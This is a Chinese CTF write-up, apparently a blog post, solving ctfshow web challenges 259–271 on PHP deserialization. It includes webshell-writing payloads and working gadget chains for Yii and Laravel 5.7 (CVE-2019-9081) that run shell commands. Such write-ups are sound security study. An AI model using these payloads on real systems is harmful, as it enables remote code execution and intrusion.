这道题是反序列化和SSRF的结合,具体的我还没弄懂,看wp也没看懂,先附上一个wp,之后我在补充

ctfshow web259-CSDN博客

web260

源码

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

payload

?ctfshow="ctfshow_i_love_36D"

web261

源码

 <?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

 payload

<?php
class ctfshowvip{
    public $username;
    public $password;
 
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
}
$a=new ctfshowvip('877.php','<?php eval($_POST[1]);?>');
echo serialize($a);

最终payload

?vip=O:10:"ctfshowvip":2:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";}
访问877.php,并post传入:1=phpinfo();
成功rce

web262

源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

看到了注释里面有@message.php这个文件访问一下,得到以下源码

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

先分析第一段代码有字符串逃逸,字符串减少逃逸,将两段代码结合起来进行代码审计,关于这里的setcookie就是与message.php中的代码进行前呼后应,就是它传进去它传出来,在这里第一段代码进行base64加密,第二段代码进行base64解密,所以这几个函数不用去考虑,直接考虑字符串逃逸就可以了,在这里它要求token等于admin,但第一段代码显示token等于user,那么这时候就要构造

";s:5:"token";s:5:"admin";}

一共27个字符,而fuck去替换loveU,每一个只能少一个字符,所以需要27个fuck,这样可以进行逃逸成功

最终payload

get:
?f=1&m=2&t=6fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

web265

源码如下

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

这道题就是&的运用,如何运用可以看看我上面写的

这道题就是要求让变量token的值等于password的值,而token的值是一共随机数,所以它是会变的,所以我们需要让他们两个指向同一个地址,具体脚本如下

<?php

class ctfshowAdmin{
    public $token;
    public $password;

    function __construct(){
        $this->password = &$this->token;
    }
}

echo serialize(new ctfshowAdmin());

?>

根据这两道题我们可以看出来这种运用方式,都需要__construct()这个魔法函数;

web266

先看源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

看到throw new Exception()这个东西就应该想到垃圾回收机制,但这里其实不需要这个也能去触发__destruct()这个魔法函数,因为这里可以通过正则进行绕过,只要绕过正则就可以绕过垃圾回收机制了;

先讲简单的绕过正则吧

先说一下php有以下特性

变量名区分大小写
常量名区分大小写
数组索引 (键名) 区分大小写
函数名, 方法名, 类名不区分大小写
魔术常量不区分大小写 (以双下划线开头和结尾的常量)
NULL TRUE FALSE 不区分大小写
强制类型转换不区分大小写 (在变量前面加上 (type))

也就是说这里可以通过大小写进行绕过

payload

POST
O:7:"CTFSHOW":0:{}

这里也要注意一下这里的传参方式,这里就是一个php://input的伪协议,就是POST直接传参就可以执行命令;如果不懂可以看我之前的文件包含这篇博客,也可以学到一些新的知识

以题为例浅谈文件包含-CSDN博客

接下来就是介绍如何用垃圾回收机制进行做这道题

代码如下

<?php

class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __destruct(){
        global $flag;
        echo $flag;
    }

}
echo serialize(new ctfshow());

运行后可以得到

O:7:"ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

修改后就是payload了

O:7:"ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:0:"password";s:6:"xxxxxx";}

就可以绕过垃圾回收机制让它__destruct()这个魔法函数触发;

web267

在上面已经写过了,就不在多说了;

web268

和上面步骤一样,不过过滤了一些东西,把GET改成POST就行了

脚本如下

<?php
namespace yii\rest {
    class Action
    {
        public $checkAccess;
    }
    class IndexAction
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('shell_exec', "echo '<?php eval(\$_POST[1]);phpinfo();?>' > shell.php");
    echo(base64_encode(serialize($exp)));
}

payload

/index.php?r=/backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czo1MzoiZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PicgPiBzaGVsbC5waHAiO31pOjE7czozOiJydW4iO319fQ==

然后访问shell.php,与上一道题差不多,只是上一道题是GET传参,这道题是POST传参;

web269,270

和web268步骤相同;

web271

查看源码

 <?php

/**
 * Laravel - A PHP Framework For Web Artisans
 *
 * @package  Laravel
 * @author   Taylor Otwell <taylor@laravel.com>
 */

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__ . '/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__ . '/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);

$kernel->terminate($request, $response);

Laravel5.7(CVE-2019-9081)反序列化漏洞

直接利用上面的脚本

<?php

namespace Illuminate\Foundation\Testing {
    class PendingCommand
    {
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

        public function __construct($test, $app, $command, $parameters)
        {
            $this->test = $test;                 //一个实例化的类 Illuminate\Auth\GenericUser
            $this->app = $app;                   //一个实例化的类 Illuminate\Foundation\Application
            $this->command = $command;           //要执行的php函数 system
            $this->parameters = $parameters;     //要执行的php函数的参数  array('id')
        }
    }
}

namespace Faker {
    class DefaultGenerator
    {
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Foundation {
    class Application
    {
        protected $instances = [];

        public function __construct($instances = [])
        {
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}

namespace {
    $defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));

    $app = new Illuminate\Foundation\Application();

    $application = new Illuminate\Foundation\Application($app);

    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('ls /')); //此处执行命令

    echo urlencode(serialize($pendingcommand));
}

运行得到flag

之后还会对反序列化这一系列进行补充。


http://www.kler.cn/a/322647.html

相关文章:

  • 什么是SMARC?模块电脑(核心板)规范标准简介三
  • React Native 全栈开发实战班 -原生功能集成之相机与图片
  • Java基础-I/O流
  • 《Java核心技术 卷I》用户界面中首选项API
  • Excel单元格中自适应填充多图
  • 【MySQL】优化方向+表连接
  • 点餐小程序实战教程12菜品展示
  • 记一次 RabbitMQ 消费者莫名消失问题的排查
  • 【洛谷】AT_abc178_d [ABC178D] Redistribution 的题解
  • 摒弃“流量思维”,以精准流量驱动企业发展——基于开源 AI 智能名片、链动 2+1 模式及 O2O 商城小程序的思考
  • 【JavaScript】尾递归优化
  • en造数据结构与算法C# 之 二叉排序树的删除
  • 哪个快?用300万个图斑测试ArcGIS Pro的成对叠加与经典叠加
  • Spring Task快速入门
  • Autosar学习----AUTOSAR_SWS_BSWGeneral(七)
  • 【GUI设计】基于Matlab的图像特征提取GUI系统(9),matlab实现
  • Win10 QT 配置Android开发环境-jdk/sdk/gradle
  • excel数据常用函数学习记录
  • 0基础跟德姆(dom)一起学AI 数据处理和统计分析05-Pandas数分入门
  • overlayscrollbars使用
  • 【JavaEE精炼宝库】HTTP | HTTPS 协议详解
  • react crash course 2024(7) react router dom
  • 精选10个热门目标检测数据集
  • 基于QT的C++中小项目软件开发架构源码
  • oracle生成时间戳字符的两种方法
  • 教师管理系统小程序+ssm论文源码调试讲解